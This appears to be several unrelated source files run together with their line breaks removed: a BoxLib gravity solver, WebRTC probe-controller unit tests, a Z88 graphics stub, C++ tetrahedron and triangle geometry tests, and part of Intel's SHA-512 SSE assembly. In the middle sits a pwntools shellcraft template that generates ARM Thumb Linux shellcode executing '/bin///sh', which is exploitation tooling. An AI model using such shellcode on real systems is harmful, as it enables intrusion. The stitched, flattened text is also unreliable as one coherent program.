#include <iostream> #include <BoxLib.H> #include <MultiFab.H> #include <MultiFabUtil.H> #include <BLFort.H> #include <MacBndry.H> #include <MGT_Solver.H> #include <mg_cpp_f.h> #include <stencil_types.H> #include <VisMF.H> void solve_with_f90 (PArray<MultiFab>& rhs, PArray<MultiFab>& phi, Array< PArray<MultiFab> >& grad_phi_edge, const Array<Geometry>& geom, int base_level, int finest_level, Real tol, Real abs_tol); void solve_for_accel(PArray<MultiFab>& rhs, PArray<MultiFab>& phi, PArray<MultiFab>& grad_phi, const Array<Geometry>& geom, int base_level, int finest_level, Real offset) { Real tol = 1.e-10; Real abs_tol = 1.e-14; Array< PArray<MultiFab> > grad_phi_edge; grad_phi_edge.resize(rhs.size()); for (int lev = base_level; lev <= finest_level ; lev++) { grad_phi_edge[lev].resize(BL_SPACEDIM, PArrayManage); for (int n = 0; n < BL_SPACEDIM; ++n) grad_phi_edge[lev].set(n, new MultiFab(BoxArray(rhs[lev].boxArray()).surroundingNodes(n), 1, 1)); } // *************************************************** // Make sure the RHS sums to 0 if fully periodic // *************************************************** for (int lev = base_level; lev <= finest_level; lev++) { Real n0 = rhs[lev].norm0(); if (ParallelDescriptor::IOProcessor()) std::cout << "Max of rhs in solve_for_phi before correction at level " << lev << " " << n0 << std::endl; } for (int lev = base_level; lev <= finest_level; lev++) rhs[lev].plus(-offset, 0, 1, 0); for (int lev = base_level; lev <= finest_level; lev++) { Real n0 = rhs[lev].norm0(); if (ParallelDescriptor::IOProcessor()) std::cout << "Max of rhs in solve_for_phi after correction at level " << lev << " " << n0 << std::endl; } // *************************************************** // Solve for phi and return both phi and grad_phi_edge // *************************************************** solve_with_f90 (rhs,phi,grad_phi_edge,geom,base_level,finest_level,tol,abs_tol); // Average edge-centered gradients to cell centers and fill the values in ghost cells. for (int lev = base_level; lev <= finest_level; lev++) { BoxLib::average_face_to_cellcenter(grad_phi[lev], grad_phi_edge[lev], geom[lev]); grad_phi[lev].FillBoundary(0,BL_SPACEDIM,geom[lev].periodicity()); } // VisMF::Write(grad_phi[0],"GradPhi"); }
/* * Copyright (c) 2016 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include <memory> #include "api/transport/network_types.h" #include "modules/congestion_controller/goog_cc/probe_controller.h" #include "rtc_base/logging.h" #include "system_wrappers/include/clock.h" #include "test/gmock.h" #include "test/gtest.h" using testing::_; using testing::AtLeast; using testing::Field; using testing::Matcher; using testing::NiceMock; using testing::Return; namespace webrtc { namespace webrtc_cc { namespace test { namespace { constexpr int kMinBitrateBps = 100; constexpr int kStartBitrateBps = 300; constexpr int kMaxBitrateBps = 10000; constexpr int kExponentialProbingTimeoutMs = 5000; constexpr int kAlrProbeInterval = 5000; constexpr int kAlrEndedTimeoutMs = 3000; constexpr int kBitrateDropTimeoutMs = 5000; } // namespace class ProbeControllerTest : public ::testing::Test { protected: ProbeControllerTest() : clock_(100000000L) { probe_controller_.reset(new ProbeController()); } ~ProbeControllerTest() override {} void SetNetworkAvailable(bool available) { NetworkAvailability msg; msg.at_time = Timestamp::ms(NowMs()); msg.network_available = available; probe_controller_->OnNetworkAvailability(msg); } int64_t NowMs() { return clock_.TimeInMilliseconds(); } SimulatedClock clock_; std::unique_ptr<ProbeController> probe_controller_; }; TEST_F(ProbeControllerTest, InitiatesProbingAtStart) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); EXPECT_GE(probe_controller_->GetAndResetPendingProbes().size(), 2u); } TEST_F(ProbeControllerTest, ProbeOnlyWhenNetworkIsUp) { SetNetworkAvailable(false); probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); SetNetworkAvailable(true); EXPECT_GE(probe_controller_->GetAndResetPendingProbes().size(), 2u); } TEST_F(ProbeControllerTest, InitiatesProbingOnMaxBitrateIncrease) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); // Long enough to time out exponential probing. clock_.AdvanceTimeMilliseconds(kExponentialProbingTimeoutMs); probe_controller_->SetEstimatedBitrate(kStartBitrateBps, NowMs()); probe_controller_->Process(NowMs()); EXPECT_GE(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps + 100, NowMs()); EXPECT_EQ( probe_controller_->GetAndResetPendingProbes()[0].target_data_rate.bps(), kMaxBitrateBps + 100); } TEST_F(ProbeControllerTest, InitiatesProbingOnMaxBitrateIncreaseAtMaxBitrate) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); // Long enough to time out exponential probing. clock_.AdvanceTimeMilliseconds(kExponentialProbingTimeoutMs); probe_controller_->SetEstimatedBitrate(kStartBitrateBps, NowMs()); probe_controller_->Process(NowMs()); EXPECT_GE(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetEstimatedBitrate(kMaxBitrateBps, NowMs()); probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps + 100, NowMs()); EXPECT_EQ( probe_controller_->GetAndResetPendingProbes()[0].target_data_rate.bps(), kMaxBitrateBps + 100); } TEST_F(ProbeControllerTest, TestExponentialProbing) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->GetAndResetPendingProbes(); // Repeated probe should only be sent when estimated bitrate climbs above // 0.7 * 6 * kStartBitrateBps = 1260. probe_controller_->SetEstimatedBitrate(1000, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); probe_controller_->SetEstimatedBitrate(1800, NowMs()); EXPECT_EQ( probe_controller_->GetAndResetPendingProbes()[0].target_data_rate.bps(), 2 * 1800); } TEST_F(ProbeControllerTest, TestExponentialProbingTimeout) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->GetAndResetPendingProbes(); // Advance far enough to cause a time out in waiting for probing result. clock_.AdvanceTimeMilliseconds(kExponentialProbingTimeoutMs); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(1800, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); } TEST_F(ProbeControllerTest, RequestProbeInAlr) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_GE(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetAlrStartTimeMs(clock_.TimeInMilliseconds()); clock_.AdvanceTimeMilliseconds(kAlrProbeInterval + 1); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(250, NowMs()); probe_controller_->RequestProbe(NowMs()); std::vector<ProbeClusterConfig> probes = probe_controller_->GetAndResetPendingProbes(); EXPECT_EQ(probes.size(), 1u); EXPECT_EQ(probes[0].target_data_rate.bps(), 0.85 * 500); } TEST_F(ProbeControllerTest, RequestProbeWhenAlrEndedRecently) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetAlrStartTimeMs(absl::nullopt); clock_.AdvanceTimeMilliseconds(kAlrProbeInterval + 1); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(250, NowMs()); probe_controller_->SetAlrEndedTimeMs(clock_.TimeInMilliseconds()); clock_.AdvanceTimeMilliseconds(kAlrEndedTimeoutMs - 1); probe_controller_->RequestProbe(NowMs()); std::vector<ProbeClusterConfig> probes = probe_controller_->GetAndResetPendingProbes(); EXPECT_EQ(probes.size(), 1u); EXPECT_EQ(probes[0].target_data_rate.bps(), 0.85 * 500); } TEST_F(ProbeControllerTest, RequestProbeWhenAlrNotEndedRecently) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetAlrStartTimeMs(absl::nullopt); clock_.AdvanceTimeMilliseconds(kAlrProbeInterval + 1); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(250, NowMs()); probe_controller_->SetAlrEndedTimeMs(clock_.TimeInMilliseconds()); clock_.AdvanceTimeMilliseconds(kAlrEndedTimeoutMs + 1); probe_controller_->RequestProbe(NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); } TEST_F(ProbeControllerTest, RequestProbeWhenBweDropNotRecent) { probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetAlrStartTimeMs(clock_.TimeInMilliseconds()); clock_.AdvanceTimeMilliseconds(kAlrProbeInterval + 1); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(250, NowMs()); clock_.AdvanceTimeMilliseconds(kBitrateDropTimeoutMs + 1); probe_controller_->RequestProbe(NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); } TEST_F(ProbeControllerTest, PeriodicProbing) { probe_controller_->EnablePeriodicAlrProbing(true); probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 2u); int64_t start_time = clock_.TimeInMilliseconds(); // Expect the controller to send a new probe after 5s has passed. probe_controller_->SetAlrStartTimeMs(start_time); clock_.AdvanceTimeMilliseconds(5000); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); std::vector<ProbeClusterConfig> probes = probe_controller_->GetAndResetPendingProbes(); EXPECT_EQ(probes.size(), 1u); EXPECT_EQ(probes[0].target_data_rate.bps(), 1000); // The following probe should be sent at 10s into ALR. probe_controller_->SetAlrStartTimeMs(start_time); clock_.AdvanceTimeMilliseconds(4000); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); probe_controller_->SetAlrStartTimeMs(start_time); clock_.AdvanceTimeMilliseconds(1000); probe_controller_->Process(NowMs()); probe_controller_->SetEstimatedBitrate(500, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 1u); } TEST_F(ProbeControllerTest, PeriodicProbingAfterReset) { probe_controller_.reset(new ProbeController()); int64_t alr_start_time = clock_.TimeInMilliseconds(); probe_controller_->SetAlrStartTimeMs(alr_start_time); probe_controller_->EnablePeriodicAlrProbing(true); probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); probe_controller_->Reset(NowMs()); clock_.AdvanceTimeMilliseconds(10000); probe_controller_->Process(NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 2u); probe_controller_->SetBitrates(kMinBitrateBps, kStartBitrateBps, kMaxBitrateBps, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 2u); // Make sure we use |kStartBitrateBps| as the estimated bitrate // until SetEstimatedBitrate is called with an updated estimate. clock_.AdvanceTimeMilliseconds(10000); probe_controller_->Process(NowMs()); EXPECT_EQ( probe_controller_->GetAndResetPendingProbes()[0].target_data_rate.bps(), kStartBitrateBps * 2); } TEST_F(ProbeControllerTest, TestExponentialProbingOverflow) { const int64_t kMbpsMultiplier = 1000000; probe_controller_->SetBitrates(kMinBitrateBps, 10 * kMbpsMultiplier, 100 * kMbpsMultiplier, NowMs()); probe_controller_->SetEstimatedBitrate(60 * kMbpsMultiplier, NowMs()); // Verify that probe bitrate is capped at the specified max bitrate. EXPECT_EQ( probe_controller_->GetAndResetPendingProbes()[2].target_data_rate.bps(), 100 * kMbpsMultiplier); // Verify that repeated probes aren't sent. probe_controller_->SetEstimatedBitrate(100 * kMbpsMultiplier, NowMs()); EXPECT_EQ(probe_controller_->GetAndResetPendingProbes().size(), 0u); } } // namespace test } // namespace webrtc_cc } // namespace webrtc
; ; Z88 Graphics Functions - Small C+ stubs ; ; Stefano Bodrato 19/7/2007 ; Usage: multipoint(int hv, int length, int x, int y) IF !__CPU_INTEL__ && !__CPU_GBZ80__ SECTION code_graphics PUBLIC multipoint PUBLIC _multipoint EXTERN asm_multipoint INCLUDE "graphics/grafix.inc" .multipoint ._multipoint pop af ; ret addr pop de ; y pop hl ; x pop bc ex af,af ld a,c ; length pop bc ; h/v ld b,a ex af,af push de push de push de push de push af ; ret addr jp asm_multipoint ENDIF
<% from pwnlib.shellcraft import thumb %> <%docstring> Execute a different process. >>> p = run_assembly(shellcraft.thumb.linux.sh()) >>> p.sendline('echo Hello') >>> p.recv() b'Hello\n' </%docstring> ${thumb.linux.execve('/bin///sh', 0, 0)}
#include "stdafx.h" #include "sgeom.h" #include "math.h" #include "BaseLib/math/Operator.h" #include "BaseLib/math/Operator_NR.h" bool sgeom_inside_tetrahedron(const vector3 &x, const vector3 &p1, const vector3 &p2, const vector3 &p3, const vector3 &p4, double *b, int *err_code) { double d, d1, d2, d3, d4; matrixn R(4,4), R1(4,4), R2(4,4), R3(4,4), R4(4,4); R(0,0) = p1[0]; R(1,0) = p2[0]; R(2,0) = p3[0]; R(3,0) = p4[0]; R(0,1) = p1[1]; R(1,1) = p2[1]; R(2,1) = p3[1]; R(3,1) = p4[1]; R(0,2) = p1[2]; R(1,2) = p2[2]; R(2,2) = p3[2]; R(3,2) = p4[2]; R(0,3) = 1.0; R(1,3) = 1.0; R(2,3) = 1.0; R(3,3) = 1.0; R1(0,0) = x[0]; R1(1,0) = p2[0]; R1(2,0) = p3[0]; R1(3,0) = p4[0]; R1(0,1) = x[1]; R1(1,1) = p2[1]; R1(2,1) = p3[1]; R1(3,1) = p4[1]; R1(0,2) = x[2]; R1(1,2) = p2[2]; R1(2,2) = p3[2]; R1(3,2) = p4[2]; R1(0,3) = 1.0; R1(1,3) = 1.0; R1(2,3) = 1.0; R1(3,3) = 1.0; R2(0,0) = p1[0]; R2(1,0) = x[0]; R2(2,0) = p3[0]; R2(3,0) = p4[0]; R2(0,1) = p1[1]; R2(1,1) = x[1]; R2(2,1) = p3[1]; R2(3,1) = p4[1]; R2(0,2) = p1[2]; R2(1,2) = x[2]; R2(2,2) = p3[2]; R2(3,2) = p4[2]; R2(0,3) = 1.0; R2(1,3) = 1.0; R2(2,3) = 1.0; R2(3,3) = 1.0; R3(0,0) = p1[0]; R3(1,0) = p2[0]; R3(2,0) = x[0]; R3(3,0) = p4[0]; R3(0,1) = p1[1]; R3(1,1) = p2[1]; R3(2,1) = x[1]; R3(3,1) = p4[1]; R3(0,2) = p1[2]; R3(1,2) = p2[2]; R3(2,2) = x[2]; R3(3,2) = p4[2]; R3(0,3) = 1.0; R3(1,3) = 1.0; R3(2,3) = 1.0; R3(3,3) = 1.0; R4(0,0) = p1[0]; R4(1,0) = p2[0]; R4(2,0) = p3[0]; R4(3,0) = x[0]; R4(0,1) = p1[1]; R4(1,1) = p2[1]; R4(2,1) = p3[1]; R4(3,1) = x[1]; R4(0,2) = p1[2]; R4(1,2) = p2[2]; R4(2,2) = p3[2]; R4(3,2) = x[2]; R4(0,3) = 1.0; R4(1,3) = 1.0; R4(2,3) = 1.0; R4(3,3) = 1.0; d = m::determinant(R); d1 = m::determinant(R1); d2 = m::determinant(R2); d3 = m::determinant(R3); d4 = m::determinant(R4); // invalid determinants, d != d1+d2+d3+d4 if ( fabs(d - (d1+d2+d3+d4)) > 1E-10 ) { if ( err_code != NULL ) *err_code = -3; return false; } // degenerate tetrahedron if ( fabs(d) < 1E-8 ) { if ( err_code != NULL ) *err_code = -2; return false; } // barycentric coordinates of x b[0] = d1/d; b[1] = d2/d; b[2] = d3/d; b[3] = d4/d; // if the sign of any di equals that of d then x is inside the tetrahedron if ( err_code != NULL ) *err_code = 0; if ( d>=0 && d1>=0 && d2>=0 && d3>=0 && d4>=0 ) return true; if ( d<=0 && d1<=0 && d2<=0 && d3<=0 && d4<=0 ) return true; // else, x is located outside of the tetrahedron if ( err_code != NULL ) *err_code = -1; return false; } double Inner(const vector3& x, const vector3& y) { return x%y; } bool sgeom_inside_triangle(const vector3 &x, const vector3 &p1, const vector3 &p2, const vector3 &p3) { vector3 n; n.cross(p2-p1, p3-p1); if ( fabs(Inner(x-p1, n)) > 1E-8 ) return false; // x is not on the plane if ( Inner(x-p1, Cross(n, p2-p1)) < 0 ) return false; // x is outside of the line segment between p1 and p2 if ( Inner(x-p2, Cross(n, p3-p2)) < 0 ) return false; // x is outside of the line segment between p2 and p3 if ( Inner(x-p3, Cross(n, p1-p3)) < 0 ) return false; // x is outside of the line segment between p3 and p1 return true; } bool sgeom_inside_line_segment(const vector3 &x, const vector3 &p1, const vector3 &p2) { vector3 m = p2-p1; m.normalize(); if ( fabs(Norm(Cross(x-p1, p2-p1))) > 1E-8 ) return false; // x is not on the line if ( Inner(x-p1, p2-p1) < 0 ) return false; // x is outside of p1 if ( Inner(x-p2, p1-p2) < 0 ) return false; // x is outside of p2 return true; } bool sgeom_positive_side_of_triangle_plane(const vector3 &x, const vector3 &p1, const vector3 &p2, const vector3 &p3, double *pDist_) { vector3 n = Cross(p2-p1, p3-p1); double d = Inner(x-p1, n); if ( pDist_ != NULL ) *pDist_ = d; if ( d > 0 ) return true; else return false; }
;; ;; Copyright (c) 2012-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ; This code schedules 1 blocks at a time, with 4 lanes per block ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "include/os.asm" %include "include/clear_regs.asm" %include "include/cet.inc" %use smartalign alignmode generic, nojmp %define MOVDQ movdqu ;; assume buffers not aligned %ifndef FUNC %define FUNC sha512_block_sse %endif ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Define Macros ; COPY_XMM_AND_BSWAP xmm, [mem], byte_flip_mask ; Load xmm with mem and byte swap each dword %macro COPY_XMM_AND_BSWAP 3 MOVDQ %1, %2 pshufb %1, %3 %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define X0 xmm4 %define X1 xmm5 %define X2 xmm6 %define X3 xmm7 %define X4 xmm8 %define X5 xmm9 %define X6 xmm10 %define X7 xmm11 %define XTMP0 xmm0 %define XTMP1 xmm1 %define XTMP2 xmm2 %define XTMP3 xmm3 %define XFER xmm13 %define BYTE_FLIP_MASK xmm12 %ifdef LINUX %define CTX rsi ; 2nd arg %define INP rdi ; 1st arg %define SRND rdi ; clobbers INP %define c rcx %define d r8 %define e rdx %else %define CTX rdx ; 2nd arg %define INP rcx ; 1st arg %define SRND rcx ; clobbers INP %define c rdi %define d rsi %define e r8 %endif %define TBL rbp %define a rax %define b rbx %define f r9 %define g r10 %define h r11 %define y0 r13 %define y1 r14 %define y2 r15 struc STACK %ifndef LINUX _XMM_SAVE: reso 8 %endif _XFER: reso 1 endstruc ; rotate_Xs ; Rotate values of symbols X0...X7 %macro rotate_Xs 0 %xdefine X_ X0 %xdefine X0 X1 %xdefine X1 X2 %xdefine X2 X3 %xdefine X3 X4 %xdefine X4 X5 %xdefine X5 X6 %xdefine X6 X7 %xdefine X7 X_ %endm ; ROTATE_ARGS ; Rotate values of symbols a...h %macro ROTATE_ARGS 0 %xdefine TMP_ h %xdefine h g %xdefine g f %xdefine f e %xdefine e d %xdefine d c %xdefine c b %xdefine b a %xdefine a TMP_ %endm %macro TWO_ROUNDS_AND_SCHED 0 ;; compute s0 four at a time and s1 two at a time ;; compute W[-16] + W[-7] 4 at a time movdqa XTMP0, X5 mov y0, e ; y0 = e mov y1, a ; y1 = a ror y0, (41-18) ; y0 = e >> (41-18) palignr XTMP0, X4, 8 ; XTMP0 = W[-7] xor y0, e ; y0 = e ^ (e >> (41-18)) mov y2, f ; y2 = f ror y1, (39-34) ; y1 = a >> (39-34) xor y1, a ; y1 = a ^ (a >> (39-34) movdqa XTMP1, X1 ror y0, (18-14) ; y0 = (e >> (18-14)) ^ (e >> (41-14)) xor y2, g ; y2 = f^g paddq XTMP0, X0 ; XTMP0 = W[-7] + W[-16] ror y1, (34-28) ; y1 = (a >> (34-28)) ^ (a >> (39-28)) xor y0, e ; y0 = e ^ (e >> (18-14)) ^ (e >> (41-14)) and y2, e ; y2 = (f^g)&e ;; compute s0 palignr XTMP1, X0, 8 ; XTMP1 = W[-15] xor y1, a ; y1 = a ^ (a >> (34-28)) ^ (a >> (39-28)) xor y2, g ; y2 = CH = ((f^g)&e)^g movdqa XTMP2, XTMP1 ; XTMP2 = W[-15] ror y0, 14 ; y0 = S1 = (e>>14) & (e>>18) ^ (e>>41) add y2, y0 ; y2 = S1 + CH add y2, [rsp + _XFER + 0*8] ; y2 = k + w + S1 + CH ror y1, 28 ; y1 = S0 = (a>>28) ^ (a>>34) ^ (a>>39) movdqa XTMP3, XTMP1 ; XTMP3 = W[-15] mov y0, a ; y0 = a add h, y2 ; h = h + S1 + CH + k + w psllq XTMP1, (64-1) mov y2, a ; y2 = a or y0, c ; y0 = a|c psrlq XTMP2, 1 add d, h ; d = d + t1 and y2, c ; y2 = a&c por XTMP1, XTMP2 ; XTMP1 = W[-15] ror 1 and y0, b ; y0 = (a|c)&b add h, y1 ; h = t1 + S0 movdqa XTMP2, XTMP3 ; XTMP2 = W[-15] psrlq XTMP2, 8 or y0, y2 ; y0 = MAJ = (a|c)&b)|(a&c) add h, y0 ; h = t1 + S0 + MAJ movdqa X0, XTMP3 ; X0 = W[-15] psllq XTMP3, (64-8) ROTATE_ARGS pxor XTMP1, XTMP3 psrlq X0, 7 ; X0 = W[-15] >> 7 mov y0, e ; y0 = e mov y1, a ; y1 = a pxor XTMP1, XTMP2 ; XTMP1 = W[-15] ror 1 ^ W[-15] ror 8 ror y0, (41-18) ; y0 = e >> (41-18) xor y0, e ; y0 = e ^ (e >> (41-18)) mov y2, f ; y2 = f pxor XTMP1, X0 ; XTMP1 = s0 ror y1, (39-34) ; y1 = a >> (39-34) xor y1, a ; y1 = a ^ (a >> (39-34) ;; compute s1 movdqa XTMP2, X7 ; XTMP2 = W[-2] ror y0, (18-14) ; y0 = (e >> (18-14)) ^ (e >> (41-14)) xor y2, g ; y2 = f^g paddq XTMP0, XTMP1 ; XTMP0 = W[-16] + W[-7] + s0 ror y1, (34-28) ; y1 = (a >> (34-28)) ^ (a >> (39-28)) xor y0, e ; y0 = e ^ (e >> (18-14)) ^ (e >> (41-14)) movdqa XTMP3, XTMP2 ; XTMP3 = W[-2] movdqa X0, XTMP2 ; X0 = W[-2] and y2, e ; y2 = (f^g)&e ror y0, 14 ; y0 = S1 = (e>>14) & (e>>18) ^ (e>>41) xor y1, a ; y1 = a ^ (a >> (34-28)) ^ (a >> (39-28)) psllq XTMP3, (64-19) xor y2, g ; y2 = CH = ((f^g)&e)^g add y2, y0 ; y2 = S1 + CH add y2, [rsp + _XFER + 1*8] ; y2 = k + w + S1 + CH psrlq X0, 19 ror y1, 28 ; y1 = S0 = (a>>28) ^ (a>>34) ^ (a>>39) mov y0, a ; y0 = a add h, y2 ; h = h + S1 + CH + k + w por XTMP3, X0 ; XTMP3 = W[-2] ror 19 mov y2, a ; y2 = a or y0, c ; y0 = a|c movdqa X0, XTMP2 ; X0 = W[-2] movdqa XTMP1, XTMP2 ; XTMP1 = W[-2] add d, h ; d = d + t1 and y2, c ; y2 = a&c psllq X0, (64-61) and y0, b ; y0 = (a|c)&b add h, y1 ; h = t1 + S0 psrlq XTMP1, 61 or y0, y2 ; y0 = MAJ = (a|c)&b)|(a&c) add h, y0 ; h = t1 + S0 + MAJ por X0, XTMP1 ; X0 = W[-2] ror 61 psrlq XTMP2, 6 ; XTMP2 = W[-2] >> 6 pxor XTMP2, XTMP3 pxor X0, XTMP2 ; X0 = s1 paddq X0, XTMP0 ; X0 = {W[1], W[0]} ROTATE_ARGS rotate_Xs %endm ;; input is [rsp + _XFER + %1 * 8] %macro DO_ROUND 1 mov y0, e ; y0 = e ror y0, (41-18) ; y0 = e >> (41-18) mov y1, a ; y1 = a xor y0, e ; y0 = e ^ (e >> (41-18)) ror y1, (39-34) ; y1 = a >> (39-34) mov y2, f ; y2 = f xor y1, a ; y1 = a ^ (a >> (39-34) ror y0, (18-14) ; y0 = (e >> (18-14)) ^ (e >> (41-14)) xor y2, g ; y2 = f^g xor y0, e ; y0 = e ^ (e >> (18-14)) ^ (e >> (25-6)) ror y1, (34-28) ; y1 = (a >> (34-28)) ^ (a >> (39-28)) and y2, e ; y2 = (f^g)&e xor y1, a ; y1 = a ^ (a >> (34-28)) ^ (a >> (39-28)) ror y0, 14 ; y0 = S1 = (e>>14) & (e>>18) ^ (e>>41) xor y2, g ; y2 = CH = ((f^g)&e)^g add y2, y0 ; y2 = S1 + CH ror y1, 28 ; y1 = S0 = (a>>28) ^ (a>>34) ^ (a>>39) add y2, [rsp + _XFER + %1*8] ; y2 = k + w + S1 + CH mov y0, a ; y0 = a add h, y2 ; h = h + S1 + CH + k + w mov y2, a ; y2 = a or y0, c ; y0 = a|c add d, h ; d = d + t1 and y2, c ; y2 = a&c and y0, b ; y0 = (a|c)&b add h, y1 ; h = t1 + S0 or y0, y2 ; y0 = MAJ = (a|c)&b)|(a&c) add h, y0 ; h = t1 + S0 + MAJ ROTATE_ARGS %endm section .data default rel align 64 K512: dq 0x428a2f98d728ae22,0x7137449123ef65cd dq 0xb5c0fbcfec4d3b2f,0xe9b5dba58189dbbc dq 0x3956c25bf348b538,0x59f111f1b605d019 dq 0x923f82a4af194f9b,0xab1c5ed5da6d8118 dq 0xd807aa98a3030242,0x12835b0145706fbe dq 0x243185be4ee4b28c,0x550c7dc3d5ffb4e2 dq 0x72be5d74f27b896f,0x80deb1fe3b1696b1 dq 0x9bdc06a725c71235,0xc19bf174cf692694 dq 0xe49b69c19ef14ad2,0xefbe4786384f25e3 dq 0x0fc19dc68b8cd5b5,0x240ca1cc77ac9c65 dq 0x2de92c6f592b0275,0x4a7484aa6ea6e483 dq 0x5cb0a9dcbd41fbd4,0x76f988da831153b5 dq 0x983e5152ee66dfab,0xa831c66d2db43210 dq 0xb00327c898fb213f,0xbf597fc7beef0ee4 dq 0xc6e00bf33da88fc2,0xd5a79147930aa725 dq 0x06ca6351e003826f,0x142929670a0e6e70 dq 0x27b70a8546d22ffc,0x2e1b21385c26c926 dq 0x4d2c6dfc5ac42aed,0x53380d139d95b3df dq 0x650a73548baf63de,0x766a0abb3c77b2a8 dq 0x81c2c92e47edaee6,0x92722c851482353b dq 0xa2bfe8a14cf10364,0xa81a664bbc423001 dq 0xc24b8b70d0f89791,0xc76c51a30654be30 dq 0xd192e819d6ef5218,0xd69906245565a910 dq 0xf40e35855771202a,0x106aa07032bbd1b8 dq 0x19a4c116b8d2d0c8,0x1e376c085141ab53 dq 0x2748774cdf8eeb99,0x34b0bcb5e19b48a8 dq 0x391c0cb3c5c95a63,0x4ed8aa4ae3418acb dq 0x5b9cca4f7763e373,0x682e6ff3d6b2b8a3 dq 0x748f82ee5defb2fc,0x78a5636f43172f60 dq 0x84c87814a1f0ab72,0x8cc702081a6439ec dq 0x90befffa23631e28,0xa4506cebde82bde9 dq 0xbef9a3f7b2c67915,0xc67178f2e372532b dq 0xca273eceea26619c,0xd186b8c721c0c207 dq 0xeada7dd6cde0eb1e,0xf57d4f7fee6ed178 dq 0x06f067aa72176fba,0x0a637dc5a2c898a6 dq 0x113f9804bef90dae,0x1b710b35131c471b dq 0x28db77f523047d84,0x32caab7b40c72493 dq 0x3c9ebe0a15c9bebc,0x431d67c49c100d4c 